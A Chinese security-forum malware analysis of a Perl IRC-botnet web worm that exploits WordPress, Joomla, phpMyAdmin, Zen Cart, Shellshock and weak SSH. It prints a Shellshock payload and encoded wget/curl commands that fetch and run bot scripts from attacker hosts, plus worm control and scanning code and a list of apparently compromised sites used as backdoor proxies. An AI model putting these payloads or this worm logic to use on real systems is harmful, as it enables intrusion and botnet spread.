发帖
扫码访问
 注册
 登录
首页 ›网络安全› 安全学院 › 查看内容

新一代强悍web蠕虫被捕获，已感染千余网站

2015-12-31 12:06 3612 0

摘要: 最近，一个很新颖而且强大的web蠕虫被捕获，它功能上相当于一个综合漏洞扫描器。该蠕虫主要利用一些web程序的高危漏洞进行传播，其中包括phpmyadmin，wordpress，joomla，magento等等知名网站app的漏洞，还有破壳漏 ...
关键词： bystats http nick php msg path my search hostinjector else

最近，一个很新颖而且强大的web蠕虫被 捕获 ，它功能上相当于一个综合漏洞扫描器。该蠕虫主要利用一些web程序的高危漏洞进行传播，其中包括phpmyadmin，wordpress，joomla，magento等等知名网站app的漏洞，还有破壳漏洞，ssh弱口令，sql注入,自动提权。

感染后的bot会从服务端接收指令，进行ddos攻击，漏洞扫描感染其他主机，作为http proxy，生成irc服务端等等。分析发现已经感染的主机里作为web proxy的网站已达1000个，后续我会把涉及的所有源码分享（包括臭名昭著的phpmyadmin蠕虫zmeu）。

0×01 起因

翻看vps web日志时候看到了攻击迹象，有zmeu的useragent，有shellshock的payload。

然后顺藤摸瓜getshell了一个bot（通过wordpress的一个漏洞下载数据库配置文件，用数据库密码成功登录wordpress，但是没有安装插件权限，在修改文章的地方插入insertPHP插件解析的php代码，韩语的折腾了1个多小时）。

在网站目录里找到一个功能很强大的php大马，支持bypass safe mode，安装代理等等，所以决定深入挖掘。

在这个bot上下载的一些源码，发现了触目惊心的CC程序。

0×02 分析

这个蠕虫仅仅pl脚本部分代码已达上万行，所以分析不当的地方请指出。Bot节点一旦扫描出某个服务器存在漏洞，就在该漏洞主机上下载控制脚本并执行，这个主机就沦为一个bot，最后会给控制者发送一封邮件注册该被控主机。例如Shellshock的payload

"() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";
system(\"wget http://xxxserver.com/shell.txt -O /tmp/shell.txt;curl -O /tmp/shell.txt http:// xxxserver.com/shell.txt;
perl /tmp/shell.txt ; rm -rf shell.txt \");'"

我们从web漏洞感染做为主线分析一下流程。为了简明我会把一些代码省略掉。

初始化远程下载服务器地址：

my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php";
my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php";
#my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php";
#my $hostinjector = "wordpress.com.longlifeweld.com.my";
my $thumbid = "http://".$hostinjector."/petx.php";
my $thumbidx = "http://".$hostinjector."/cpx.php";

linux 下载指令，通过web参数传递的，bot成功利用漏洞getshell后，会把这些下载被控端脚本的指令发送给webshell。

my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;wget%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;wget%20http%3A%2F%2F".$hostinjector."%2Fmagic1.php";
my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";

初始化1000个web代理后门地址，为后边批量采集做准备

my @randombarner= ("http://www.lesyro.cz/administrator/components/com_media/helpers/errors.php",
"http://www.villaholidaycentre.co.uk/includes/js/calendar/lang/seka.php",
"http://viewwebinars.com/wp-includes/errors.php",
"http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php",
"http://www.linuxcompany.nl/modules/mod_login/error.php",
"http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php",
"http://liftoffconsulting.ca/wp-includes/errors.php",
"http://www.voileenligne.com/audio/komo.php",
"http://www.gingerteastudio.com//wp-content/uploads/components/search.php",
"www.audiovisionglobal.pe/online/includes/js/calendar/lang/search.php",
"http://sirena-fish.com/modules/mod_login/search.php",
"www.audiovisionglobal.pe/online/includes/js/calendar/lang/search.php",
"http://kavkazinterpress.ru/plugins/content/config.inc.php",
"http://dom-sad-ogorod.ru/plugins/search/config.inc.php",
。。。。。

声明全球各地搜索引擎的函数变量

my $engine       = "UAE,Myanmar,Argentina,Austria,Australia,Brazil,Canada,Chili,CoMersil,Czech,Germany,Denmark,Spain,Europe,France,Hungary,Indonesia,Israel,India,Info,Iran,Italy,Japan,Korea,Mexico,Malaysia,Network,Netherlands,Organization,Philippines,Polan,Romania,Russian,Thailand,Ukraine,England,USA,Slovenia,Belgium,Bussines,SouthAfrica,Vietnam,Tuvalu,Cocos,Turky,Asia,Serbia,Singapore,Taiwan,Sweden,Pakistan,
Norway,Montenegro,Greece,Education,Goverment,Kazakhstan,
Afganistan,Albania,Algeria,Angola,Armenia,Azerbaijan,Bahrain,Bangladesh,Belarus,Bhutan,Bolivia,Bosnia,Bulgaria,Brunei,Cambodia,Cameroon,Christmas,CostaRika,Croatia,Cuba,Cyprus,Dominican,Equador,Egypt,Estonia,Finland,Georgia,Ghana,Grenada,Honduras,Hongkong,Iceland,Ireland,Kenya,Kuwait,Laos,Latvia,Liberia,
Libyan,Lithuania,Macedonia,Malta,Mongolia,Mozambique,Namibia,Nauru,Nepal,NewZealand,Nigeria,Paraguay,Peru,Portugal,PuertoRico,Qatar,SaintLucia,Samoa,SaudiArabia,Senegal,Slovakia,Srilanka,Swaziland,Tajikistan,Tanzania,Tokelau,Tonga,Tunisia,Uruguay,Uzbekistan,Venezuela,Yemen,Yugoslavia,Zambia,Uganda,Trinidad,Zimbabwe,KonToL,PePek,TeTek,ItiL,Vagina,NenNen,SuSu,BuahDada,PayuDara,Kentot,eMeL,OraL,Klitoris,Masturbasi,Onani,Sperma,AnaL,Puting,Penis,MeMek,GooGLeCA,
................

连接上控制端服务器后循环读取并执行指令

while( 1 ) {
    while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
    select(undef, undef, undef, 0.01);
    delete($irc_servers{''}) if (defined($irc_servers{''}));
    my @ready = $sel_client->can_read(0);
    next unless(@ready);
foreach $fh (@ready) {

自我管理的指令，自杀重启退出等等

if (&isAdmin($nick) && $msg eq "!die") {
                                    &shell("$path","kill -9 $$");
                            }
                            if (&isAdmin($nick) && $msg eq "!killall") {
                                    &shell("$path","killall -9 perl");
                            }
                            if (&isAdmin($nick) && $msg eq "!reset") {
                                    sendraw("QUIT :Restarting...");
                            }
                            if (&isAdmin($nick) && $msg =~ /^!joinx \#(.+)/) {
                                    sendraw("JOIN #".$1);
                            }
                            if (&isAdmin($nick) && $msg =~ /^!partx \#(.+)/) {
                                    sendraw("PART #".$1);
                            }
                            if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
                                    sendraw("NICK ".$1);
                            }
                            if (&isAdmin($nick) && $msg =~ /^!pid/) {
                                    sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
                            }
。。。。。。。。。

检测存放控制脚本等后门的服务器是否存活的指令，为后续下载被控脚本做准备

if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
                                    $inject1 = "";
                                    $inject2 = "";
                                    $inject3 = "";
                                    $inject4 = "";
                                    my $cekby1 = &get_content($rceinjector);
                                    my $cekby2 = &get_content($thumbid);
                                    #my $cekby3 = &get_content($arbitrary);
                                    my $cekby4 = &get_content($rceinjector2);
                                    if ($cekby1 =~ /b0m - exploit/i){ $inject1 = "
9Ready!!!"; } else { $inject1 = "4Lost!!!"; }                                    if ($cekby2 =~ /b0m aka albcr3w/i){ $inject2 = "
9Ready!!!"; } else { $inject2 = "4Lost!!!"; }                                    #if ($cekby3 =~ /BArNEr/i){ $inject3 = "
9Ready!!!"; } else { $inject3 = "4Lost!!!"; }                                    if ($cekby4 =~ /BArNEr/i){ $inject4 = "
9Ready!!!"; } else { $inject4 = "4Lost!!!"; }                                    #&msg("$path","
12Injector Checker");                                                   &msg("$path","
12RCE Injector : $inject1");                                    #&msg("$path","
12Timthumb Injector : $inject2");                                        #&msg("$path","
12Arbitrary Injector : $inject3");                                             &msg("$path","12RCE Injector2 : $inject4");

检测web代理列表的存活情况，如果存活在用来作为使用搜索引擎采集攻击目标的代理。

if (&isAdmin($nick) && $msg eq "!bypass") {
                                my $bystats1 = "";
                                my $bystats2 = "";
                                my $bystats3 = "";
                                my $bystats4 = "";
                                my $bystats5 = "";
                                my $bystats6 = "";
                                my $bystats7 = "";
                                my $bystats8 = "";
                                my $bystats9 = "";
                                my $bystats10 = "";
                                my $bystats11 = "";
                                my $bystats12 = "";
                                my $bystats13 = "";
 
                                my $cekby1 = &get_content($jack1."search");
                                my $cekby2 = &get_content($jack2."search");                              
                                my $cekby3 = &get_content($jack3."search");
                                my $cekby4 = &get_content($jack4."search");
                                my $cekby5 = &get_content($jack5."search");
                                。。。。。。。。
                                。。。。。。
 
                                if ($cekby1 =~ /search/i){ $bystats1 = "
9Up!"; } else { $bystats1 = "4Lost!"; }                                if ($cekby2 =~ /search/i){ $bystats2 = "
9Up!"; } else { $bystats2 = "4Lost!"; }                                if ($cekby3 =~ /search/i){ $bystats3 = "
9Up!"; } else { $bystats3 = "4Lost!"; }                                if ($cekby4 =~ /search/i){ $bystats4 = "
9Up!"; } else { $bystats4 = "4Lost!"; }                                if ($cekby5 =~ /search/i){ $bystats5 = "
。。。。。。

如果指令是web漏洞扫描，bot则先通过批量代理搜索例如google dork(inurl:wp-admin) 等等,然后批量检测特定web程序漏洞

if (&isAdmin($nick) && $msg =~ /^$mag50pxd\s+(.*)/) {
                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                                             my $dork = $1;
                                             my $check = &read_dorks($dork);
                                                      if ($check == 1) {
                                                               &msg("$path","
12$nick  4Re-scan detected"); exit;                                                      } else {
                                             &msg("$chanxxx","
12@4$nick  3Scanning on  4$path  ");                                             &msg("$path","
14scanning MaGmi started...");                                                sendraw("MODE $path +m");
                                                      &write_dorks($dork);
                                             &se_start($path,$bug,$dork,$engine,4,$nick);
                                                      }
                                             }
                                    }
                            }
                            if (&isAdmin($nick) && $msg =~ /^$rescmd\s+(.*)/) {
                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                                             my ($bug,$dork) = ("wp-admin/admin-ajax.php",$1);
                                             my $check = &read_dorks($dork);
                                                      if ($check == 1) {
                                                               &msg("$path","
12$nick  4Re-scan detected"); exit;                                                      } else {
                                             &msg("$chanxxx","
12@4$nick  3Scanning on  4$path  ");                                             &msg("$path","
14scanning RevSlider Upload started...");                            sendraw("MODE $path +m");
                                                      &write_dorks($dork);
                                                 &se_start($path,$bug,$dork,$engine,5,$nick);
                                                      }
                                             }
                                    }
                            }
                            if ($msg =~ /^$jomcmd\s+(.*)/) {
                        if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                                                my ($bug,$dork) = ("/index.php?option=com_jdownloads&Itemid=0&view=upload",$1);
                                                &msg("$chanxxx","
4,1Lapor3 $nick15,1 lagi scan Joomla di  4$path");                                                &msg("$channel","$jomlogo  
15Search Engine Loaded..");                                                &se_start($channel,$bug,$dork,$engine,2,$nick);
                                                }
                                        }
                                }
                            if ($msg=~ /^$zencmd\s+(.*)/) {
                    if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                            my ($bug,$dork) = ("extras/curltest.php",$1);
                            &msg("$path","$zenlogo  
9Dork :4 $dork");                            &msg("$path","$zenlogo  
3Search Engine Loading ...");                            &se_start($path,$bug,$dork,$engine,7,$nick);
                        }
                    }
                            }
                            if ($msg =~ /^$jcecmd\s+(.*)/) {
                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                                             my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b",$1);
                                             my $check = &read_dorks($dork);
                                                      if ($check == 1) {
                                                               &msg("$path","
12$nick  4Re-scan detected"); exit;                                                      } else {
                                             &msg("$chanxxx","
12@4$nick  3Scanning on  4$path  ");                                             &msg("$path","
14scanning jce started...");                                                sendraw("MODE $path +m");
                                                      &write_dorks($dork);
                                             &se_start($path,$bug,$dork,$engine,8,$nick);
                                                      }
                                             }
                                    }

我们举例分析一下zen cart 那个本地文件读取漏洞蠕虫的代码：

sub zen() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
my $nick = $_[4];
    my $count = 0;
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过
雷人
1

握手
鲜花
鸡蛋

刚表态过的朋友 (1 人)

  • 握手

    匿名

收藏 分享 邀请
上一篇：邮箱 XSS 窃取 appleID 的案例分析下一篇：这个恶意程序可以将你电脑变成代理服务器

最新评论

相关分类

返回顶部